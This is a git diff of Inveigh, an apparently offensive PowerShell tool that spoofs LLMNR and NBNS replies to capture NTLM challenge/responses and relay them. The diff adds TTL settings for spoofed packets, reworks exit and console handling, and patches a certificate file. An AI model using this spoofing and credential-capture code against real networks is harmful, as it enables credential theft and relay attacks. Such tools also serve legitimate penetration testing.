($LLMNR_response_message,$NBNS_response_message,$IP,$SpooferIP,$SMB,$LLMNR,$NBNS,$NBNSTypes,$SpooferHostsReply,$SpooferHostsIgnore,$SpooferIPsReply,$SpooferIPsIgnore,$MachineAccounts,$RunTime,$LLMNRTTL,$NBNSTTL) $byte_in = New-Object Byte[] 4 $byte_out = New-Object Byte[] 4 @@ -1081,6 +1112,10 @@ $sniffer_scriptblock = $end_point = New-Object System.Net.IPEndpoint([Net.IPAddress]"$IP", 0) $inveigh.sniffer_socket.Bind($end_point) [void]$inveigh.sniffer_socket.IOControl([Net.Sockets.IOControlCode]::ReceiveAll,$byte_in,$byte_out) + $LLMNR_TTL_bytes = [BitConverter]::GetBytes($LLMNRTTL) + [array]::Reverse($LLMNR_TTL_bytes) + $NBNS_TTL_bytes = [BitConverter]::GetBytes($NBNSTTL) + [array]::Reverse($NBNS_TTL_bytes) if($RunTime) { @@ -1183,7 +1218,8 @@ $sniffer_scriptblock = $UDP_length[0] += 16 [Byte[]]$NBNS_response_data = $payload_bytes[13..$payload_bytes.length]` - + (0x00,0x00,0x00,0xa5,0x00,0x06,0x00,0x00)` + + $NBNS_TTL_bytes` + + (0x00,0x06,0x00,0x00)` + ([IPAddress][String]([IPAddress]$SpooferIP)).GetAddressBytes()` + (0x00,0x00,0x00,0x00) @@ -1228,7 +1264,7 @@ $sniffer_scriptblock = $NBNS_query = [System.BitConverter]::ToString($payload_bytes[13..($payload_bytes.length - 4)]) $NBNS_query = $NBNS_query -replace "-00","" - $NBNS_query = $NBNS_query.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $NBNS_query = $NBNS_query.Split("-") | ForEach{ [CHAR][CONVERT]::toint16($_,16)} $NBNS_query_string_encoded = New-Object System.String ($NBNS_query,0,$NBNS_query.Length) $NBNS_query_string_encoded = $NBNS_query_string_encoded.Substring(0,$NBNS_query_string_encoded.IndexOf("CA")) @@ -1306,7 +1342,7 @@ $sniffer_scriptblock = [byte[]]$LLMNR_response_data = $payload_bytes[12..$payload_bytes.length] $LLMNR_response_data += $LLMNR_response_data` - + (0x00,0x00,0x00,0x1e)` + + $LLMNR_TTL_bytes` + (0x00,0x04)` + ([IPAddress][String]([IPAddress]$SpooferIP)).GetAddressBytes() @@ -1324,7 +1360,7 @@ $sniffer_scriptblock = $LLMNR_query = [System.BitConverter]::ToString($payload_bytes[13..($payload_bytes.length - 4)]) $LLMNR_query = $LLMNR_query -replace "-00","" - $LLMNR_query = $LLMNR_query.Split("-") | FOREACH{ [CHAR][CONVERT]::toint16($_,16)} + $LLMNR_query = $LLMNR_query.Split("-") | ForEach{ [CHAR][CONVERT]::toint16($_,16)} $LLMNR_query_string = New-Object System.String ($LLMNR_query,0,$LLMNR_query.Length) if($LLMNR -eq 'y') @@ -1379,23 +1415,28 @@ $sniffer_scriptblock = $inveigh.HTTP_listener.Close() } - $inveigh.console_queue.add("Inveigh auto-exited at $(Get-Date -format 's')") - $inveigh.log.add("$(Get-Date -format 's') - Inveigh auto-exited") - - if($inveigh.file_output) + if($inveigh.relay_running) { - "$(Get-Date -format 's') - Inveigh auto-exited"| Out-File $Inveigh.log_out_file -Append + $inveigh.console_queue.add("Inveigh Relay exited due to run time at $(Get-Date -format 's')") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Inveigh Relay exited due to run time")]) + Start-Sleep -m 5 + $inveigh.relay_running = $false } + + $inveigh.console_queue.add("Inveigh exited due to run time at $(Get-Date -format 's')") + $inveigh.log.add($inveigh.log_file_queue[$inveigh.log_file_queue.add("$(Get-Date -format 's') - Inveigh exited due to run time")]) + Start-Sleep -m 5 + $inveigh.running = $false if($inveigh.HTTPS) { - Invoke-Expression -command "netsh http delete sslcert ipport=0.0.0.0:443" > $null + & "netsh" http delete sslcert ipport=0.0.0.0:443 > $null try { $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") $certificate_store.Open('ReadWrite') - $certificate = $certificate_store.certificates.find("FindByThumbprint",$inveigh.certificate_thumbprint,$FALSE)[0] + $certificate = $certificate_store.certificates.find("FindByThumbprint",$inveigh.certificate_thumbprint,$false)[0] $certificate_store.Remove($certificate) $certificate_store.Close() } @@ -1414,12 +1455,9 @@ $sniffer_scriptblock = } } } - + $inveigh.HTTP = $false - $inveigh.HTTPS = $false - $inveigh.running = $false - $inveigh.relay_running = $false - + $inveigh.HTTPS = $false } } @@ -1486,7 +1524,7 @@ Function HTTPListener() $HTTP_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null $HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument($HTTPAuth).AddArgument( $HTTPBasicRealm).AddArgument($MachineAccounts).AddArgument($WPADAuth) > $null - $HTTP_handle = $HTTP_powershell.BeginInvoke() + $HTTP_powershell.BeginInvoke() > $null } # Sniffer/Spoofer Startup Function @@ -1503,8 +1541,8 @@ Function SnifferSpoofer() $NBNS_response_message).AddArgument($IP).AddArgument($SpooferIP).AddArgument($SMB).AddArgument( $LLMNR).AddArgument($NBNS).AddArgument($NBNSTypes).AddArgument($SpooferHostsReply).AddArgument( $SpooferHostsIgnore).AddArgument($SpooferIPsReply).AddArgument($SpooferIPsIgnore).AddArgument( - $MachineAccounts).AddArgument($RunTime) > $null - $sniffer_handle = $sniffer_powershell.BeginInvoke() + $MachineAccounts).AddArgument($RunTime).AddArgument($LLMNRTTL).AddArgument($NBNSTTL) > $null + $sniffer_powershell.BeginInvoke() > $null } # End Startup Functions @@ -1522,7 +1560,7 @@ SnifferSpoofer if($inveigh.console_output) { - :console_loop while(($inveigh.running) -and ($inveigh.console_output)) + :console_loop while(($inveigh.running -and $inveigh.console_output) -or ($inveigh.console_queue.Count -gt 0 -and $inveigh.console_output)) { while($inveigh.console_queue.Count -gt 0) { @@ -1535,38 +1573,31 @@ if($inveigh.console_output) { switch -wildcard ($inveigh.console_queue[0]) { - "*cleartext credentials written to*" - { - write-warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - "*local administrator*" + "Inveigh *exited *" { write-warning $inveigh.console_queue[0] $inveigh.console_queue.RemoveRange(0,1) } - "*NTLMv1 challenge/response written*" + "* written to *" { - if($inveigh.file_output) - { - write-warning $inveigh.console_queue[0] - } + if($inveigh.file_output) + { + write-warning $inveigh.console_queue[0] + } + $inveigh.console_queue.RemoveRange(0,1) } - "*NTLMv2 challenge/response written*" - { - if($inveigh.file_output) + "* for relay *" { write-warning $inveigh.console_queue[0] - } $inveigh.console_queue.RemoveRange(0,1) } - "* relay *" + "*SMB relay *" { write-warning $inveigh.console_queue[0] $inveigh.console_queue.RemoveRange(0,1) } - "Service *" + "* local administrator *" { write-warning $inveigh.console_queue[0] $inveigh.console_queue.RemoveRange(0,1) @@ -1600,38 +1631,71 @@ Function Stop-Inveigh { <# .SYNOPSIS - Stop-InveighRelay will stop all running Inveigh functions. + Stop-Inveigh will stop all running Inveigh functions. #> if($inveigh) { - if($inveigh.running -or $inveigh.relay_running) + if($inveigh.running -or $inveigh.relay_running -or $inveigh.bruteforce_running) { - $inveigh.running = $false - $inveigh.relay_running = $false - + if($inveigh.HTTP_listener.IsListening) { $inveigh.HTTP_listener.Stop() $inveigh.HTTP_listener.Close() } + + if($inveigh.bruteforce_running) + { + $inveigh.bruteforce_running = $false + $inveigh.status_queue.add("$(Get-Date -format 's') - Attempting to stop HTTP listener")|Out-Null + $inveigh.HTTP_listener.server.blocking = $false + Start-Sleep -s 1 + $inveigh.HTTP_listener.server.Close() + Start-Sleep -s 1 + $inveigh.HTTP_listener.Stop() + $inveigh.status_queue.add("Inveigh Brute Force exited at $(Get-Date -format 's')")|Out-Null + $inveigh.log.add("$(Get-Date -format 's') - Inveigh Brute Force exited")|Out-Null + + if($inveigh.file_output) + { + "$(Get-Date -format 's') - Inveigh Brute Force exited"| Out-File $Inveigh.log_out_file -Append + } + } + + if($inveigh.relay_running) + { + $inveigh.relay_running = $false + $inveigh.status_queue.add("Inveigh Relay exited at $(Get-Date -format 's')")|Out-Null + $inveigh.log.add("$(Get-Date -format 's') - Inveigh Relay exited")|Out-Null - $inveigh.status_queue.add("Inveigh exited at $(Get-Date -format 's')")|Out-Null - $inveigh.log.add("$(Get-Date -format 's') - Inveigh exited")|Out-Null + if($inveigh.file_output) + { + "$(Get-Date -format 's') - Inveigh Relay exited"| Out-File $Inveigh.log_out_file -Append + } + } - if($inveigh.file_output) + if($inveigh.running) { - "$(Get-Date -format 's') - Inveigh exited"| Out-File $Inveigh.log_out_file -Append + $inveigh.running = $false + $inveigh.status_queue.add("Inveigh exited at $(Get-Date -format 's')")|Out-Null + $inveigh.log.add("$(Get-Date -format 's') - Inveigh exited")|Out-Null + + if($inveigh.file_output) + { + "$(Get-Date -format 's') - Inveigh exited"| Out-File $Inveigh.log_out_file -Append + } } + } else { - $inveigh.status_queue.add("Inveigh isn't running") | Out-Null + $inveigh.status_queue.add("There are no running Inveigh functions") | Out-Null } if($inveigh.HTTPS) { - Invoke-Expression -command "netsh http delete sslcert ipport=0.0.0.0:443" > $null - + & "netsh" http delete sslcert ipport=0.0.0.0:443 > $null + try { $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") @@ -1658,7 +1722,7 @@ Function Stop-Inveigh } else { - $inveigh.status_queue.add("Inveigh isn't running")|Out-Null + $inveigh.status_queue.add("There are no running Inveigh functions")|Out-Null } if($inveigh.status_output) @@ -1674,7 +1738,7 @@ Function Stop-Inveigh { switch -wildcard ($inveigh.status_queue[0]) { - "Inveigh exited at *" + "Inveigh *exited *" { write-warning $inveigh.status_queue[0] $inveigh.status_queue.RemoveRange(0,1) @@ -1712,38 +1776,31 @@ Function Get-Inveigh { switch -wildcard ($inveigh.console_queue[0]) { - "*cleartext credentials written to*" - { - write-warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - "*local administrator*" + "Inveigh *exited *" { write-warning $inveigh.console_queue[0] $inveigh.console_queue.RemoveRange(0,1) } - "*NTLMv1 challenge/response written*" - { - if($inveigh.file_output) + "* written to *" { - write-warning $inveigh.console_queue[0] - } + if($inveigh.file_output) + { + write-warning $inveigh.console_queue[0] + } + $inveigh.console_queue.RemoveRange(0,1) } - "*NTLMv2 challenge/response written*" - { - if($inveigh.file_output) + "* for relay *" { write-warning $inveigh.console_queue[0] - } $inveigh.console_queue.RemoveRange(0,1) } - "* relay *" + "*SMB relay *" { write-warning $inveigh.console_queue[0] $inveigh.console_queue.RemoveRange(0,1) } - "Service *" + "* local administrator *" { write-warning $inveigh.console_queue[0] $inveigh.console_queue.RemoveRange(0,1) @@ -1801,7 +1858,7 @@ Function Get-InveighNTLMv1 { $inveigh.NTLMv1_list.sort() - foreach($unique_NTLMv1 in $inveigh.NTLMv1_list) + ForEach($unique_NTLMv1 in $inveigh.NTLMv1_list) { $unique_NTLMv1_account = $unique_NTLMv1.substring(0,$unique_NTLMv1.indexof(":",($unique_NTLMv1.indexof(":")+2))) @@ -1843,7 +1900,7 @@ Function Get-InveighNTLMv2 { $inveigh.NTLMv2_list.sort() - foreach($unique_NTLMv2 in $inveigh.NTLMv2_list) + ForEach($unique_NTLMv2 in $inveigh.NTLMv2_list) { $unique_NTLMv2_account = $unique_NTLMv2.substring(0,$unique_NTLMv2.indexof(":",($unique_NTLMv2.indexof(":")+2))) @@ -1870,7 +1927,7 @@ Function Get-InveighLog $inveigh.log } -Function Get-InveighStats +Function Get-InveighStat { <# .SYNOPSIS @@ -1889,12 +1946,12 @@ Function Watch-Inveigh #> if($inveigh.tool -ne 1) { - if($inveigh.running -or $inveigh.relay_running) + if($inveigh.running -or $inveigh.relay_running -or $inveigh.bruteforce_running) { Write-Output "Press any key to stop real time console output" $inveigh.console_output = $true - :console_loop while(($inveigh.running) -and ($inveigh.console_output)) + :console_loop while((($inveigh.running -or $inveigh.relay_running -or $inveigh.bruteforce_running) -and $inveigh.console_output) -or ($inveigh.console_queue.Count -gt 0 -and $inveigh.console_output)) { while($inveigh.console_queue.Count -gt 0) { @@ -1906,34 +1963,32 @@ Function Watch-Inveigh else { switch -wildcard ($inveigh.console_queue[0]) - { - "*local administrator*" + { + "Inveigh *exited *" { write-warning $inveigh.console_queue[0] $inveigh.console_queue.RemoveRange(0,1) } - "*NTLMv1 challenge/response written*" - { - if($inveigh.file_output) + "* written to *" { - write-warning $inveigh.console_queue[0] - } + if($inveigh.file_output) + { + write-warning $inveigh.console_queue[0] + } + $inveigh.console_queue.RemoveRange(0,1) } - "*NTLMv2 challenge/response written*" - { - if($inveigh.file_output) + "* for relay *" { write-warning $inveigh.console_queue[0] - } $inveigh.console_queue.RemoveRange(0,1) } - "* relay *" + "*SMB relay *" { write-warning $inveigh.console_queue[0] $inveigh.console_queue.RemoveRange(0,1) } - "Service *" + "* local administrator *" { write-warning $inveigh.console_queue[0] $inveigh.console_queue.RemoveRange(0,1) @@ -1975,27 +2030,7 @@ Function Clear-Inveigh #> if($inveigh) { - if(!$inveigh.running -and !$inveigh.relay_running) - { - Remove-Variable inveigh -scope global - Write-Output "Inveigh data has been cleared from memory" - } - else - { - Write-Output "Run Stop-Inveigh before running Clear-Inveigh" - } - } -} - -Function Set-Inveigh -{ - <# - .SYNOPSIS - Set-Inveigh allows setting or modifying some parameters while Inveigh is running. - #> - if($inveigh) - { - if(!$inveigh.running -and !$inveigh.relay_running) + if(!$inveigh.running -and !$inveigh.relay_running -and !$inveigh.bruteforce_running) { Remove-Variable inveigh -scope global Write-Output "Inveigh data has been cleared from memory" @@ -2005,4 +2040,4 @@ Function Set-Inveigh Write-Output "Run Stop-Inveigh before running Clear-Inveigh" } } -} +} \ No newline at end of file diff --git a/inveigh.pfx b/inveigh.pfx index 5fa75038d833c3ec365fc92e5e253f9cc3baab61..75a4a60f8d84625d2725ad6d82640baa43580095 100644 GIT binary patch literal 2493 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 GfPVpDzlgs8